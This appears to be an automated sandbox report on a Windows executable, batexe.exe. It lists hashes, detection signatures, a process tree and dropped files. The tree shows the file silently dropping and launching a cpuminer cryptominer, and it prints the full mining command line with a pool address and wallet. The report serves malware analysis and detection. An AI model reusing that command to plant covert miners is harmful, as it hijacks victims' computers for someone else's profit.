73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 13:01

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4408	b2e.exe
2540	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2540	cpuminer-sse2.exe
2540	cpuminer-sse2.exe
2540	cpuminer-sse2.exe
2540	cpuminer-sse2.exe
2540	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2888-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 4408	2888	batexe.exe	74
PID 2888 wrote to memory of 4408	2888	batexe.exe	74
PID 2888 wrote to memory of 4408	2888	batexe.exe	74
PID 4408 wrote to memory of 3564	4408	b2e.exe	75
PID 4408 wrote to memory of 3564	4408	b2e.exe	75
PID 4408 wrote to memory of 3564	4408	b2e.exe	75
PID 3564 wrote to memory of 2540	3564	cmd.exe	78
PID 3564 wrote to memory of 2540	3564	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Users\Admin\AppData\Local\Temp\83D6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\83D6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\83D6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\85D9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\83D6.tmp\b2e.exe

Filesize
11.7MB

MD5
e19d59b713745eeb905bf2bc3905a505

SHA1
0bdc658ec71ab1c4a4300f41e0964f42aaf0e4da

SHA256
f47343417d6a82c7c268b23e2cae2a00a8fb393a0c41b513e07636d6c3382d6c

SHA512
5ea7932d7b02de0477a09e2af74c27bda5fe313de68e38a3c713d07879f27a5007c10f001c9365d3fb0fd08a55687e25bdc204208f4b90d93852cdaa0c7c69d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\83D6.tmp\b2e.exe

Filesize
13.0MB

MD5
bdc75027267fe1a58f8be111a5b7bdac

SHA1
9b148b15083d9edacb8e5703c024f118aea25f53

SHA256
eed54f5fda0df2177165b9a9093c7ad6a9dbb1b93857fd7776e4aada93baa506

SHA512
c3c4e2377463d76343107524f725744f4e31f638e310aa9743a1aebd77b9417e74a1476da510fe700a9da4a625c99f40fd075becc0a5ca0e392afb0cfb77ea82

Download Submit
C:\Users\Admin\AppData\Local\Temp\85D9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.5MB

MD5
ee50808a0498092538670a084189b69d

SHA1
a31c632942e6301be838a5d9b88ac50f58ab29fa

SHA256
c868f72881c5f49e63aff2e4d7acfd37cfec44836492cf492397eb71485c37e3

SHA512
631f60c3aeb769d6ff5bc96751fba47818266b052c7118688cc16b67e7b2386aabd6f96a4f3f99a43feb305f391ab4e315b8649cc988bd939df9f90f2bb76026

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.3MB

MD5
c876444eb3beae57ebe9657ee13d43e6

SHA1
c2cb1ce3b7b494e52562ffa5f3027f912df19328

SHA256
ccd3697358a3800c0070f33ac21407d3f8981e61a67f874f04a8d03d5c8eef9e

SHA512
12fabb0137169ebf2f5198912da3d4b652a108e6de8f664c32a5c9bc06b136f47f436dbafe2e09a8c4a099726d872f4559bf2ba957adb386bcaa5d34e6b4ac75

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.0MB

MD5
c2ee0b6ccfebb68781e5b74ec052c4a8

SHA1
a642c383522af49a6fc0d3ba5f8cba9a764d3648

SHA256
3430868fcdfcf540c845ebf35396791e903a02ec5e2b2e2ab3f336cf4ace8b44

SHA512
c4bea9ea50d6ccc141a1bc641d78c5f13e143e3e1396267f1758d73da643b47d725f90681ef8ac46641fa5887cc69e9d7620b8ffb69bde84856f2b9c72fe1fb5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2540-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2540-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2540-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-43-0x0000000056A30000-0x0000000056AC8000-memory.dmp

Filesize
608KB

Download
memory/2540-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/2540-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2540-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2888-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4408-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4408-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download